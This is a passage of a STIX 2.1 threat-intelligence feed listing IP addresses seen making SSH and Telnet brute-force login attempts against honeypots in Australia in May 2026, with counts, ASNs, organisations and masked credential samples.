      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5f7a4b30-376c-4f02-8e18-765df86c74af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.26.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--552a3110-edff-433a-bcf5-a12041b54592",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.209.126.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--aaaa21dc-5891-4df1-add1-3e6f6dcc8490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.215.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--97c0ca43-9044-4d2f-a667-5437c5c7840e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.98.56.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 57354. Organisation(s): SYSTEMA Ltd. Usernames observed (masked): r**t, t*******r, 3**********4, h***y, j***y. Passwords observed (masked): !**********0, 1****6, 1******W, 1*******X, 3***********4.",
      "id": "indicator--493fe279-f032-4f51-bb49-beabaa5a5a3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.228.135.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27717. Organisation(s): Corporacion Digitel C.A..",
      "id": "indicator--d78e3386-df0e-41f9-ac8d-e9196861ae4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.121.236.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8053. Organisation(s): IFX Networks Venezuela C.A..",
      "id": "indicator--efda96b0-fc40-4b21-b18d-3df9326f2ef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.94.213.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, s**n, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P***********!, q******6, s**n.",
      "id": "indicator--3a56c5bb-bab1-4328-8b1f-4ef9de0ffcd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.11.141.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--6a841e28-3955-4fbc-87c9-7bea0e605734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a6d43b3e-0ef3-486c-a9ac-bc7a8fef9f7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.165.207.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--ea4c583f-ff66-4f16-8708-170cb490fc66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.232.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 56231. Organisation(s): MEASAT Broadcast Network Systems.",
      "id": "indicator--bee700aa-58f8-4caf-9601-ecda86ea8f3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.121.20.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 269729. Organisation(s): GRUPO MULTICABLES DE CORTES S.R.L de C.V.",
      "id": "indicator--8d99395c-b3f1-49e3-954f-d7df18c197c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.181.86.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8d0d0abe-036c-47ec-af0a-c5b41ac9039e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.208.151.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--51819f15-5e4d-454b-9645-58b88f0aeece",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.244.193.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--b3925b46-bfbe-4a49-a661-3fa3a393bc93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6e60be2a-51d7-4e34-b203-ed3c825e2d96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.87.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e8d7c06d-04f9-4faf-9b2e-6c852d9e96a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.27.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--73900b2c-c359-4e7e-afeb-20047b2dc86c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.57.56.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--089de8af-dada-481b-8fb4-0bf5be2f4a7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.251.20.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--5b0584a3-0beb-4877-9c00-ae18f8c0a0c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.163.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--80af46d1-d821-4094-a0d0-dbfcd584f6fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.179.231.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--38ceab16-8423-4150-accb-3f6d27ba163b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.222.40.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--53ce8a51-b71d-4411-a28e-0fa1c25a858f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 20011. Organisation(s): NTT-DATA-Inc.",
      "id": "indicator--593c11f9-dbb8-4bc9-b0db-1314a7373848",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.210.155.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, d****n, ***, n**a. Passwords observed (masked): 3***********4, 3**********4, !**************r, 0****3, 1**4.",
      "id": "indicator--0cd6f6b7-c6d3-4177-a6e2-01cb5cd587ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.174.72.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f08f1cdf-7af2-48f9-8ae9-cfc8a50bcdc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.240.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--138137f2-df9d-4ca5-b520-6470ed8df185",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.73.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--534f8752-c6ac-4915-9dd9-77ab9d71ac74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.99.28.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--19fa8a21-1273-4a13-af0e-c6dc33d9c47f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.139.185.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--ff85af72-0be3-43d8-9960-dfee7e9f519c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.95.199.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 50340. Organisation(s): JSC Selectel. Usernames observed (masked): r**t, s****m, 3**********4, a*******r, g*******e. Passwords observed (masked): 1**4, 1******w, 1******@, 1**************X, 3***********4.",
      "id": "indicator--5b8d3c78-978d-489b-ad98-8fa425741190",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.168.242.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f7eb64d2-48b5-48f6-8b88-45c1c0dae497",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.86.13.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56005. Organisation(s): Zhengzhou Fastidc Technology Co.,Ltd.. Usernames observed (masked): f*****r, 3**********4, a***n, j***b. Passwords observed (masked): 3***********4, 3**********4, a****1, c******e, p******d.",
      "id": "indicator--a16da032-a646-4035-9b33-f63a4b7e14bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.51.33.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c2986e43-c277-4af4-a687-377bcf3f3ad1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.49.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 401707. Organisation(s): ARPHost, LLC. Usernames observed (masked): r**t, 3**********4, a***n, a*****e, h****p. Passwords observed (masked): 1****0, ***, 1**4, 1******d, 3***********4.",
      "id": "indicator--6549e0bf-de9f-4032-8fd6-bbbdabba494f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.109.20.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
